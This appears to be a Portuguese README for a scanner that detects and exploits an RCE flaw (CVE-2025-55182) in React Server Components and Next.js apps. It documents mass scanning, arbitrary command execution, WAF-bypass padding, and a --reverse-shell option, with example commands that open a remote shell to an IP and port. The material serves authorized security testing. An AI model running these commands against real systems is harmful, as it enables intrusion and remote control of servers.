
Uma versão evoluída do scanner assetnote CVE-2025-55182
High Fidelity Detection for RSC/Next.js RCE
Scanner para detecção de vulnerabilidades de Remote Code Execution (RCE) em aplicações React Server Components e Next.js.
O React2Shell Scanner é uma ferramenta especializada para identificar vulnerabilidades de execução remota de código (RCE) em aplicações que utilizam React Server Components (RSC) e Next.js. A ferramenta detecta vulnerabilidades relacionadas aos seguintes CVEs:
A ferramenta realiza verificações de alta fidelidade utilizando side-channel detection e proof-of-concept de RCE, com capacidade de extrair resultados dinâmicos de comandos executados através do parse automático das respostas HTTP.
Esta é uma versão editada por @imguimoraes do scanner original desenvolvido pela Assetnote Security Research Team. O PoC RCE original foi criado por @maple3142.
pip install requests tqdm
Ou usando o arquivo requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opções]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Opção | Descrição |
|---|---|
-u, --url URL | URL ou host único para verificar |
-l, --list FILE | Arquivo contendo lista de hosts (um por linha) |
| Opção | Descrição |
|---|---|
-t, --threads N | Número de threads concorrentes (padrão: 10) |
--timeout SECONDS | Timeout das requisições em segundos (padrão: 10) |
-k, --insecure | Desabilitar verificação de certificado SSL (habilitado por padrão) |
| Opção | Descrição |
|---|---|
-o, --output FILE | Arquivo de saída para resultados em formato JSON |
--all-results | Salvar todos os resultados no arquivo, não apenas vulneráveis |
-v, --verbose | Output verboso (mostra snippets de resposta para análise) |
-q, --quiet | Modo silencioso (mostra apenas hosts vulneráveis) |
--no-color | Desabilitar output colorido |
| Opção | Descrição |
|---|---|
-H, --header "Key: Value" | Adicionar header HTTP customizado (pode ser usado múltiplas vezes) |
| Opção | Descrição |
|---|---|
--safe-check | Usar detecção side-channel segura ao invés de PoC RCE (não executa código) |
--windows | Usar payload PowerShell ao invés de shell Unix (para ambientes Windows) |
--waf-bypass | Adicionar dados aleatórios ao payload para bypass de WAF (padrão: 128KB) |
--waf-bypass-size KB | Tamanho dos dados aleatórios em KB para bypass de WAF (padrão: 128) |
--payload COMMAND | Comando customizado para executar no RCE (padrão: echo $((41*271))) |
--reverse-shell IP:PORT | Criar conexão reverse shell para IP:PORT especificado |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
O scanner exibe resultados com códigos de cores indicando o status:
Para hosts vulneráveis, o resultado do comando executado é exibido quando disponível através da extração automática do header X-Action-Redirect ou do corpo da resposta.
Quando a opção -o é utilizada, o output é salvo em formato JSON com a seguinte estrutura:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Campos do resultado:
vulnerable: true se vulnerável, false se não vulnerável, null se ocorreu errocommand_result: Resultado do comando executado extraído da resposta (quando disponível)final_url: URL final testada (após seguimento de redirects se habilitado)status_code: Código HTTP da respostarequest: Requisição HTTP completa enviadaresponse: Resposta HTTP recebida (primeiros 2000 caracteres)error: Mensagem de erro se houvertimestamp: Timestamp UTC da verificaçãoO scanner oferece dois métodos de detecção:
Safe Check (--safe-check): Detecção side-channel não invasiva que verifica padrões de erro na resposta sem executar código. Útil para scan inicial sem impacto.
RCE PoC: Execução real de código remoto com extração dinâmica dos resultados. Utiliza payloads baseados em Node.js child_process para execução de comandos do sistema.
O scanner realiza parse automático das respostas HTTP para extrair resultados de comandos executados:
X-Action-Redirect (formato: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} ou 1:E{"digest":"<result>"})--payloadA extração é realizada dinamicamente, não dependendo de valores fixos, permitindo validar a execução de qualquer comando.
Quando a opção --waf-bypass é utilizada:
--waf-bypass-size (padrão: 128KB)O parâmetro --payload permite especificar qualquer comando a ser executado:
echo $((41*271)) (resultado: 11111)--windows estiver ativoO resultado do comando é automaticamente extraído e exibido, independente do valor retornado.
A opção --reverse-shell permite estabelecer uma conexão reverse shell:
IP:PORT (exemplo: 192.168.1.100:4444)powershell.exe/bin/shEsta ferramenta é destinada exclusivamente para fins educacionais e testes de segurança autorizados.
O exploit RCE original foi criado por @maple3142.
O scanner original foi desenvolvido pela Assetnote Security Research Team:
Esta versão editada mantém as funcionalidades do scanner original com melhorias adicionais:
Editado por: guiimoraes
Se encontrar bugs ou tiver sugestões de melhorias, por favor abra uma issue no repositório descrevendo o problema de forma detalhada.